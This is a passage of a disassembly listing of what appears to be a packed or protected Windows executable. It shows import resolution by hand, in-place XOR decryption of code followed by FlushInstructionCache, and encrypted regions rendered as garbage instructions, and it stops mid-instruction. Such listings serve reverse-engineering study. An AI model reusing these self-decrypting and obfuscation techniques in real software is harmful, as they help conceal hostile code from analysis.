44A8900h, 0DC45C7h, 0C7000000h, 0E045h, 45C70000h dd 0FFFFFFFCh, 2E8FFh, 4DEB0000h, 0FFD87D83h, 458B0A74h dd 15FF50D8h, 424624h, 0DC7D83h, 4D8B1874h, 0BC8D89DCh dd 8BFFFFFDh, 0FFFDBC95h, 9EE852FFh, 8300003Ah, 7D8304C4h dd 187400E0h, 89E0458Bh, 0FFFDB885h, 0B88D8BFFh, 51FFFFFDh dd 3A80E8h, 4C48300h, 0F04D8BC3h, 0D8964h, 5F000000h, 0E58B5B5Eh dd 0CCCCC35Dh, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418070 proc near ; CODE XREF: sub_416C60+53Fp var_58 = dword ptr -58h var_54 = dword ptr -54h var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00418295 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421428 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_1C], 0 mov [ebp+var_4], 0 mov eax, ds:dword_424888 mov dword ptr [eax+0Ch], 0 mov ecx, ds:dword_424888 mov edx, [ecx+4] shl edx, 4 push edx call sub_41BA4A add esp, 4 mov [ebp+var_40], eax mov eax, [ebp+var_40] mov [ebp+var_1C], eax loc_4180CB: ; CODE XREF: sub_418070+1E7j mov [ebp+var_34], 0 mov [ebp+var_28], 0 mov [ebp+var_30], 0 mov ecx, ds:dword_424888 mov edx, [ecx] mov [ebp+var_20], edx jmp short loc_4180F6 ; --------------------------------------------------------------------------- loc_4180ED: ; CODE XREF: sub_418070+9Ej ; sub_418070+132j ... mov eax, [ebp+var_20] mov ecx, [eax+10h] mov [ebp+var_20], ecx loc_4180F6: ; CODE XREF: sub_418070+7Bj cmp [ebp+var_20], 0 jz loc_4181D9 mov edx, [ebp+var_20] mov eax, [ebp+var_20] mov ecx, [edx+14h] cmp ecx, [eax+18h] jnz short loc_418110 jmp short loc_4180ED ; --------------------------------------------------------------------------- loc_418110: ; CODE XREF: sub_418070+9Cj cmp [ebp+var_30], 0 jz loc_4181B2 mov edx, [ebp+var_20] mov eax, [edx+14h] shl eax, 4 mov ecx, [ebp+var_20] mov edx, [ecx+4] add edx, eax mov [ebp+var_38], edx mov eax, [ebp+var_30] mov [ebp+var_48], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_4C], edx loc_41813C: ; CODE XREF: sub_418070+FEj mov eax, [ebp+var_4C] mov cl, [eax] mov [ebp+var_4D], cl mov edx, [ebp+var_48] cmp cl, [edx] jnz short loc_418179 cmp [ebp+var_4D], 0 jz short loc_418170 mov eax, [ebp+var_4C] mov cl, [eax+1] mov [ebp+var_4E], cl mov edx, [ebp+var_48] cmp cl, [edx+1] jnz short loc_418179 add [ebp+var_4C], 2 add [ebp+var_48], 2 cmp [ebp+var_4E], 0 jnz short loc_41813C loc_418170: ; CODE XREF: sub_418070+DFj mov [ebp+var_54], 0 jmp short loc_418181 ; --------------------------------------------------------------------------- loc_418179: ; CODE XREF: sub_418070+D9j ; sub_418070+F0j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_54], eax loc_418181: ; CODE XREF: sub_418070+107j mov ecx, [ebp+var_54] mov [ebp+var_58], ecx mov edx, [ebp+var_58] mov [ebp+var_3C], edx cmp [ebp+var_3C], 0 jnz short loc_4181A7 mov eax, [ebp+var_20] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+var_20] mov [edx+14h], ecx jmp loc_4180ED ; --------------------------------------------------------------------------- loc_4181A7: ; CODE XREF: sub_418070+121j cmp [ebp+var_3C], 0 jle short loc_4181B2 jmp loc_4180ED ; --------------------------------------------------------------------------- loc_4181B2: ; CODE XREF: sub_418070+A4j ; sub_418070+13Bj mov eax, [ebp+var_20] mov [ebp+var_28], eax mov ecx, [ebp+var_28] mov edx, [ecx+14h] shl edx, 4 mov eax, [ebp+var_28] mov ecx, [eax+4] add ecx, edx mov [ebp+var_34], ecx mov edx, [ebp+var_34] mov eax, [edx] mov [ebp+var_30], eax jmp loc_4180ED ; --------------------------------------------------------------------------- loc_4181D9: ; CODE XREF: sub_418070+8Aj cmp [ebp+var_30], 0 jnz short loc_4181E1 jmp short loc_41825C ; --------------------------------------------------------------------------- loc_4181E1: ; CODE XREF: sub_418070+16Dj mov ecx, ds:dword_424888 mov edx, [ecx+0Ch] shl edx, 4 mov eax, [ebp+var_1C] add eax, edx mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov edx, [ebp+var_34] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_28] mov [eax+0Ch], ecx mov edx, [ebp+var_24] mov dword ptr [edx+8], 0 mov eax, [ebp+var_28] mov ecx, [ebp+var_34] sub ecx, [eax+4] sar ecx, 4 mov edx, [ebp+var_28] mov eax, [edx+8] mov edx, [ebp+var_24] mov eax, [eax+ecx*4] mov [edx+4], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, ds:dword_424888 mov ecx, [eax+0Ch] add ecx, 1 mov edx, ds:dword_424888 mov [edx+0Ch], ecx mov eax, [ebp+var_28] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+var_28] mov [edx+14h], ecx jmp loc_4180CB ; --------------------------------------------------------------------------- loc_41825C: ; CODE XREF: sub_418070+16Fj mov eax, ds:dword_424888 mov ecx, [ebp+var_1C] mov [eax+8], ecx mov [ebp+var_1C], 0 mov [ebp+var_4], 0FFFFFFFFh call sub_41827C jmp short loc_418295 sub_418070 endp ; =============== S U B R O U T I N E ======================================= sub_41827C proc near ; CODE XREF: sub_418070+205p ; DATA XREF: _4:00421430o cmp dword ptr [ebp-1Ch], 0 jz short locret_418294 mov edx, [ebp-1Ch] mov [ebp-44h], edx mov eax, [ebp-44h] push eax call sub_41BACD add esp, 4 locret_418294: ; CODE XREF: sub_41827C+4j retn sub_41827C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418070 loc_418295: ; CODE XREF: sub_418070+20Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_418070 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182B0 proc near ; CODE XREF: sub_41D6FE+77p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041838E SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421438 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov eax, ds:dword_424868 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4182F4 mov ecx, [ebp+var_24] add ecx, 10h push ecx call ds:dword_42101C ; RtlEnterCriticalSection mov byte ptr [ebp+var_28], 1 jmp short loc_4182F8 ; --------------------------------------------------------------------------- loc_4182F4: ; CODE XREF: sub_4182B0+2Fj mov byte ptr [ebp+var_28], 0 loc_4182F8: ; CODE XREF: sub_4182B0+42j mov edx, [ebp+var_28] and edx, 0FFh test edx, edx jz loc_41838E mov [ebp+var_4], 0 cmp ds:dword_424868, 0 jz short loc_418363 mov ecx, ds:dword_424868 call sub_41ED42 loc_418324: ; CODE XREF: sub_4182B0:loc_418361j lea eax, [ebp+var_1C] push eax lea ecx, [ebp+var_20] push ecx mov ecx, ds:dword_424868 call sub_41ED59 and eax, 0FFh test eax, eax jz short loc_418363 mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jnz short loc_418361 mov eax, [ebp+var_20] mov ecx, [eax] push ecx call ds:dword_42476C ; RemoveFontResourceA mov edx, [ebp+var_1C] mov eax, [edx+4] push eax call ds:dword_424640 ; DeleteFileA loc_418361: ; CODE XREF: sub_4182B0+96j jmp short loc_418324 ; --------------------------------------------------------------------------- loc_418363: ; CODE XREF: sub_4182B0+67j ; sub_4182B0+8Ej mov [ebp+var_4], 0FFFFFFFFh call sub_418371 jmp short loc_41838E sub_4182B0 endp ; =============== S U B R O U T I N E ======================================= sub_418371 proc near ; CODE XREF: sub_4182B0+BAp ; DATA XREF: _4:00421440o mov ecx, ds:dword_424868 mov [ebp-2Ch], ecx cmp dword ptr [ebp-2Ch], 0 jz short locret_41838D mov edx, [ebp-2Ch] add edx, 10h push edx call ds:dword_421018 ; RtlLeaveCriticalSection locret_41838D: ; CODE XREF: sub_418371+Dj retn sub_418371 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4182B0 loc_41838E: ; CODE XREF: sub_4182B0+53j ; sub_4182B0+BFj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4182B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41839F proc near ; CODE XREF: sub_41847D+Cp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041846E SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421448 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_34], edx mov [ebp+var_30], ecx mov eax, offset dword_411740 push dword ptr [eax+4] call ds:dword_424644 ; RtlEnterCriticalSection and [ebp+var_4], 0 mov eax, [ebp+var_30] mov eax, [eax] mov [ebp+var_24], eax mov eax, [ebp+var_30] mov eax, [eax-4] mov [ebp+var_2C], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov ecx, [ebp+var_2C] sub ecx, eax mov [ebp+var_1C], ecx mov eax, [ebp+var_24] shr eax, 10h mov ecx, [ebp+var_2C] add ecx, eax mov [ebp+var_28], ecx mov eax, [ebp+var_1C] mov [ebp+var_20], eax jmp short loc_41841A ; --------------------------------------------------------------------------- loc_418413: ; CODE XREF: sub_41839F+9Dj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_41841A: ; CODE XREF: sub_41839F+72j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jz short loc_41843E mov eax, [ebp+var_1C] imul eax, 19660Dh add eax, 3C6EF35Fh mov ecx, [ebp+var_1C] mov cl, [ecx] xor cl, al mov eax, [ebp+var_1C] mov [eax], cl jmp short loc_418413 ; --------------------------------------------------------------------------- loc_41843E: ; CODE XREF: sub_41839F+81j mov eax, [ebp+var_28] sub eax, [ebp+var_20] push eax push [ebp+var_20] push ds:dword_42460C call ds:dword_4245F0 ; FlushInstructionCache or [ebp+var_4], 0FFFFFFFFh call sub_41845F jmp short loc_41846E sub_41839F endp ; =============== S U B R O U T I N E ======================================= sub_41845F proc near ; CODE XREF: sub_41839F+B9p ; DATA XREF: _4:00421450o mov eax, offset dword_411740 push dword ptr [eax+4] call ds:dword_4246D4 ; RtlLeaveCriticalSection retn sub_41845F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41839F loc_41846E: ; CODE XREF: sub_41839F+BEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_41839F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41847D proc near ; CODE XREF: sub_411B9Ej arg_0 = byte ptr 8 push ebp mov ebp, esp push ebx push esi push edi pusha xor edx, edx lea ecx, [ebp+arg_0] call sub_41839F popa pop edi pop esi pop ebx pop ebp retn 4 sub_41847D endp ; --------------------------------------------------------------------------- loc_418496: ; CODE XREF: _3:00411BA3j _3:00411BA8j mov ecx, 0EF000008h call sub_41BA32 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184A0 proc near ; CODE XREF: sub_418730+25p ; sub_418780+144p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_4], 1 mov [ebp+var_8], 0 jmp short loc_4184BC ; --------------------------------------------------------------------------- loc_4184B3: ; CODE XREF: sub_4184A0+E0j ; sub_4184A0+276j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4184BC: ; CODE XREF: sub_4184A0+11j mov ecx, [ebp+var_8] imul ecx, 14h mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx+0Ch], 0 jnz short loc_4184D1 jmp loc_41871B ; --------------------------------------------------------------------------- loc_4184D1: ; CODE XREF: sub_4184A0+2Aj mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] add edx, [ecx+eax] mov [ebp+var_C], edx mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] add edx, [ecx+eax+10h] mov [ebp+var_20], edx mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] cmp ecx, [eax+34h] jnz short loc_418509 mov edx, [ebp+var_20] mov [ebp+var_C], edx jmp short loc_418517 ; --------------------------------------------------------------------------- loc_418509: ; CODE XREF: sub_4184A0+5Fj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnz short loc_418517 mov ecx, [ebp+var_20] mov [ebp+var_C], ecx loc_418517: ; CODE XREF: sub_4184A0+67j ; sub_4184A0+6Fj mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, [eax+edx+0Ch] mov [ebp+var_24], ecx mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] xor ecx, ecx cmp dword ptr [eax+edx+4], 0FFFFFFFEh setnz cl mov byte ptr [ebp+var_1C], cl mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] cmp dword ptr [eax+edx+4], 0 jnz short loc_41855D mov ecx, [ebp+var_1C] and ecx, 0FFh test ecx, ecx jz short loc_4185A7 loc_41855D: ; CODE XREF: sub_4184A0+AEj mov edx, [ebp+arg_10] and edx, 0FFh test edx, edx jz short loc_418587 mov eax, [ebp+var_24] push eax call sub_41E254 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_418585 mov [ebp+var_4], 0 jmp loc_4184B3 ; --------------------------------------------------------------------------- loc_418585: ; CODE XREF: sub_4184A0+DAj jmp short loc_4185A7 ; --------------------------------------------------------------------------- loc_418587: ; CODE XREF: sub_4184A0+C8j mov ecx, [ebp+var_24] push ecx call sub_41E15D mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4185A7 mov edx, [ebp+var_24] push edx push offset aTheDynamicLink ; "The dynamic link library '%s' could not"... call sub_41BBE7 loc_4185A7: ; CODE XREF: sub_4184A0+BBj ; sub_4184A0:loc_418585j ... mov eax, ds:dword_423BC0 mov [ebp+var_18], eax mov ecx, [ebp+arg_C] mov ds:dword_423BC0, ecx push 0 call ds:dword_424698 ; GetModuleHandleA cmp eax, [ebp+arg_4] jnz short loc_41862C mov [ebp+var_34], offset aExecutable ; "EXECUTABLE" mov edx, [ebp+arg_C] mov [ebp+var_38], edx loc_4185D2: ; CODE XREF: sub_4184A0+164j mov eax, [ebp+var_38] mov cl, [eax] mov [ebp+var_39], cl mov edx, [ebp+var_34] cmp cl, [edx] jnz short loc_41860F cmp [ebp+var_39], 0 jz short loc_418606 mov eax, [ebp+var_38] mov cl, [eax+1] mov [ebp+var_3A], cl mov edx, [ebp+var_34] cmp cl, [edx+1] jnz short loc_41860F add [ebp+var_38], 2 add [ebp+var_34], 2 cmp [ebp+var_3A], 0 jnz short loc_4185D2 loc_418606: ; CODE XREF: sub_4184A0+145j mov [ebp+var_40], 0 jmp short loc_418617 ; --------------------------------------------------------------------------- loc_41860F: ; CODE XREF: sub_4184A0+13Fj ; sub_4184A0+156j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_40], eax loc_418617: ; CODE XREF: sub_4184A0+16Dj mov ecx, [ebp+var_40] mov [ebp+var_44], ecx cmp [ebp+var_44], 0 jz short loc_41862C mov [ebp+var_48], 0 jmp short loc_418633 ; --------------------------------------------------------------------------- loc_41862C: ; CODE XREF: sub_4184A0+123j ; sub_4184A0+181j mov [ebp+var_48], 1 loc_418633: ; CODE XREF: sub_4184A0+18Aj mov dl, byte ptr [ebp+var_48] mov byte ptr [ebp+var_10], dl jmp short loc_41864D ; --------------------------------------------------------------------------- loc_41863B: ; CODE XREF: sub_4184A0:loc_4186F8j mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_41864D: ; CODE XREF: sub_4184A0+199j mov edx, [ebp+var_20] cmp dword ptr [edx], 0 jz loc_4186FD mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax+4], 0 jnz short loc_418676 mov edx, [ebp+var_1C] and edx, 0FFh test edx, edx jz short loc_4186D4 loc_418676: ; CODE XREF: sub_4184A0+1C7j mov eax, [ebp+var_C] mov ecx, [eax] and ecx, 80000000h test ecx, ecx jnz short loc_4186A8 mov edx, [ebp+var_C] mov eax, [ebp+arg_4] add eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_28] add ecx, 2 push ecx mov edx, [ebp+var_14] push edx call ds:dword_4246A8 ; GetProcAddress mov ecx, [ebp+var_20] mov [ecx], eax jmp short loc_4186D4 ; --------------------------------------------------------------------------- loc_4186A8: ; CODE XREF: sub_4184A0+1E3j mov edx, [ebp+var_C] mov eax, [edx] and eax, 0FFFFh mov [ebp+var_30], eax mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call ds:dword_4246A8 ; GetProcAddress mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4186D4 mov eax, [ebp+var_20] mov ecx, [ebp+var_2C] mov [eax], ecx loc_4186D4: ; CODE XREF: sub_4184A0+1D4j ; sub_4184A0+206j ... mov edx, [ebp+var_10] and edx, 0FFh test edx, edx jz short loc_4186F8 mov eax, [ebp+var_24] push eax mov ecx, ds:dword_423BC0 push ecx mov edx, [ebp+var_20] push edx call sub_418E90 add esp, 0Ch loc_4186F8: ; CODE XREF: sub_4184A0+23Fj jmp loc_41863B ; --------------------------------------------------------------------------- loc_4186FD: ; CODE XREF: sub_4184A0+1B3j mov eax, [ebp+var_18] mov ds:dword_423BC0, eax mov ecx, [ebp+var_8] imul ecx, 14h mov edx, [ebp+arg_0] mov dword ptr [edx+ecx+4], 0FFFFFFFEh jmp loc_4184B3 ; --------------------------------------------------------------------------- loc_41871B: ; CODE XREF: sub_4184A0+2Cj mov al, [ebp+var_4] mov esp, ebp pop ebp retn sub_4184A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418730 proc near ; CODE XREF: sub_419529+196p ; sub_419903+43p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx mov eax, ds:dword_424894 add eax, 1 mov ds:dword_424894, eax mov cl, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4184A0 add esp, 14h mov [ebp+var_4], al mov eax, ds:dword_424894 sub eax, 1 mov ds:dword_424894, eax mov al, [ebp+var_4] mov esp, ebp pop ebp retn sub_418730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418780 proc near ; CODE XREF: _3:004122C6p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch mov [ebp+var_14], 0 call sub_416C60 call sub_41D40A call sub_410386 mov eax, ds:dword_424604 mov ecx, [eax+4] mov [ebp+var_14], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_14] add eax, [edx+3Ch] mov ds:dword_424890, eax mov ecx, ds:dword_424890 cmp dword ptr [ecx], 4550h jz short loc_4187CD mov ecx, 0EF000002h call sub_41BA32 loc_4187CD: ; CODE XREF: sub_418780+41j mov edx, ds:dword_424618 sub edx, 3 mov [ebp+var_4], edx mov [ebp+var_10], 0 jmp short loc_4187EB ; --------------------------------------------------------------------------- loc_4187E2: ; CODE XREF: sub_418780+90j ; sub_418780+110j mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4187EB: ; CODE XREF: sub_418780+60j mov ecx, [ebp+var_10] cmp ecx, [ebp+var_4] jnb loc_418895 mov edx, [ebp+var_10] imul edx, 28h mov eax, ds:off_42461C add eax, edx mov [ebp+var_1C], eax mov ecx, [ebp+var_1C] cmp dword ptr [ecx+0Ch], 0 jnz short loc_418812 jmp short loc_4187E2 ; --------------------------------------------------------------------------- loc_418812: ; CODE XREF: sub_418780+8Ej cmp [ebp+var_10], 20h jnb short loc_418839 mov edx, 1 mov ecx, [ebp+var_10] shl edx, cl mov eax, ds:dword_424604 mov ecx, [eax+10h] and ecx, edx test ecx, ecx jz short loc_418839 mov [ebp+var_28], 1 jmp short loc_418840 ; --------------------------------------------------------------------------- loc_418839: ; CODE XREF: sub_418780+96j ; sub_418780+AEj mov [ebp+var_28], 0 loc_418840: ; CODE XREF: sub_418780+B7j mov edx, [ebp+var_28] mov [ebp+var_20], edx cmp [ebp+var_10], 20h jnb short loc_41886E mov eax, 1 mov ecx, [ebp+var_10] shl eax, cl mov ecx, ds:dword_424604 mov edx, [ecx+14h] and edx, eax test edx, edx jz short loc_41886E mov [ebp+var_2C], 1 jmp short loc_418875 ; --------------------------------------------------------------------------- loc_41886E: ; CODE XREF: sub_418780+CAj ; sub_418780+E3j mov [ebp+var_2C], 0 loc_418875: ; CODE XREF: sub_418780+ECj mov eax, [ebp+var_2C] mov [ebp+var_24], eax mov ecx, [ebp+var_14] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call loc_418940 jmp loc_4187E2 ; --------------------------------------------------------------------------- loc_418895: ; CODE XREF: sub_418780+71j mov edx, ds:dword_424604 mov eax, [ebp+var_14] add eax, [edx+8] mov [ebp+var_8], eax mov ds:dword_424894, 0 push 0 push offset aExecutable ; "EXECUTABLE" mov ecx, ds:dword_424890 push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+var_8] push eax call sub_4184A0 add esp, 14h call sub_4198F2 and eax, 0FFh test eax, eax jz short loc_4188EF loc_4188DA: ; CODE XREF: sub_418780+168j call sub_419903 and eax, 0FFh test eax, eax jz short loc_4188EA jmp short loc_4188DA ; --------------------------------------------------------------------------- loc_4188EA: ; CODE XREF: sub_418780+166j call sub_4198F2 loc_4188EF: ; CODE XREF: sub_418780+158j push offset aImm32_dll ; "imm32.dll" call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_418911 push offset aImm32_dll ; "imm32.dll" mov ecx, [ebp+var_18] push ecx call sub_418B30 loc_418911: ; CODE XREF: sub_418780+181j push offset aOleoaut32_dll ; "oleoaut32.dll" call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_418933 push offset aOleaout32_dll ; "oleaout32.dll" mov edx, [ebp+var_C] push edx call sub_418B30 loc_418933: ; CODE XREF: sub_418780+1A3j mov esp, ebp pop ebp retn sub_418780 endp ; --------------------------------------------------------------------------- align 10h loc_418940: ; CODE XREF: sub_418780+10Bp push ebp mov ebp, esp sub esp, 0F8h push ebx push esi push edi cmp dword ptr [ebp+0Ch], 0 jz loc_418A0A push 300000h call sub_411B9E scasd fsubr qword ptr [edx-5Ah] test byte ptr [eax-8], 74h sub al, 0F9h rol dword ptr [ebp-72h], 1 cld not byte ptr [ebx+3] xchg eax, ebp mov esp, 0A2AFBC1Ah loc_418977: ; CODE XREF: _3:004189C1j loope loc_4189AB xchg eax, esp sbb dl, dh mov ebx, 56D12C79h popa ; --------------------------------------------------------------------------- dw 0F9DDh dd 0A45DFECh, 86617447h, 5D6A1A75h, 4FA2C3Fh, 0E4882266h dd 7C7720B6h, 5E2DD34Bh, 59B101F6h db 4Ch ; --------------------------------------------------------------------------- loc_4189A5: ; CODE XREF: _3:004189D2j aas movsd cli out 0D3h, eax ; --------------------------------------------------------------------------- db 1 ; --------------------------------------------------------------------------- loc_4189AB: ; CODE XREF: _3:loc_418977j out 0F5h, al mov ecx, 0CCDFBDCAh pop edx movsb push es inc edx call near ptr 0F982C5FFh and [edi+eax], edx xchg dl, dl aas jl short loc_418977 retf ; --------------------------------------------------------------------------- dd 85929F63h db 6Fh, 4, 77h ; --------------------------------------------------------------------------- loc_4189CB: ; CODE XREF: _3:00418A47j push ecx inc esp ; --------------------------------------------------------------------------- db 0A0h, 0F2h, 0E2h db 0C4h ; --------------------------------------------------------------------------- loc_4189D1: ; CODE XREF: _3:00418A3Bj cld loope loc_4189A5 mov dl, 0CFh retn 0C7DAh ; --------------------------------------------------------------------------- db 57h, 0B8h, 0FBh dd 394BED42h, 1926E82Ah, 9F86520Ch, 0B1BECB0Bh ; --------------------------------------------------------------------------- or esp, ebp clc loc_4189EF: ; CODE XREF: _3:00418A2Dj mov dl, 70h arpl [esi+5Eh], dx pop esp xor [edx], esp adc eax, 1E112F9Fh ; CODE XREF: _3:00418A08j sub edx, eax fld st(3) mov al, ds:33909093h leave test ecx, ecx jnz short near ptr loc_4189F7+1 loc_418A0A: ; CODE XREF: _3:00418950j cmp dword ptr [ebp+8], 0 jz loc_418B1D mov dword ptr [ebp-0E4h], 0 push 5F0000h call sub_411B9E mul esp mov dl, 5Ch push ds jp short loc_4189EF sub al, 44h cdq stc jge short loc_418A83 add al, 1Eh bound edi, [ebx] int 0DCh ; used by BASIC while in interpreter jle short loc_4189D1 xchg edi, [edx+19h] or cl, [esi+eax*2-1094D3C7h] jnb short loc_4189CB or al, 0DEh rol esp, 1 retn ; --------------------------------------------------------------------------- fadd dword ptr [edx-70h] xor dword ptr [esi+1Dh], 0FFFFFFF2h mov ah, 34h pop edi retn ; --------------------------------------------------------------------------- db 1Bh, 0Eh, 1 dd 0CD319D80h, 8E09B3C0h, 9A8DAF91h, 47C57024h, 0FD0AE45Eh dd 3AA497F0h, 0E3A2AFBCh, 616E98FAh, 0D29AD054h db 0ACh, 0ECh, 11h ; --------------------------------------------------------------------------- loc_418A83: ; CODE XREF: _3:00418A33j adc [edx-28552D21h], eax db 67h mov bl, 0EBh test eax, 22297BFDh test al, 36h sub [ebx+edi*2], ebx dec eax sub ch, al fcmovne st, st(6) mov ebp, 0CFEE508Dh arpl [ebx+66h], si pop ecx cmp [ecx], al or al, 33h in eax, 7 ; DMA controller, 8237A-5. ; channel 3 current word count movsb test edx, ebx stosd aam 41h mov esp, 9BFBE2F8h outsd bound edx, [ebp+3Eh] dec ecx shl dword ptr [ecx], 14h pop es mov es, word ptr [edi-46392CF5h] add ebx, ebp call near ptr 5EAD0331h ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- db 36h inc ebp lds ebx, ds:9D580310h mov dh, 10h retn 0A8B5h ; --------------------------------------------------------------------------- db 36h, 99h, 91h dd 31A5980Ah, 265CDC7Bh, 2A650A87h, 0A641761Bh, 827558ACh dd 0B6A9EFE7h, 7A7938C3h, 9090FB08h, 0C085C033h, 8D8BEE75h dd 0FFFFFF1Ch, 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 2FB3E852h dd 0C4830000h db 4 ; --------------------------------------------------------------------------- loc_418B1D: ; CODE XREF: _3:00418A0Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B30 proc near ; CODE XREF: sub_418780+18Cp ; sub_418780+1AEp ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_424894 add eax, 1 mov ds:dword_424894, eax mov 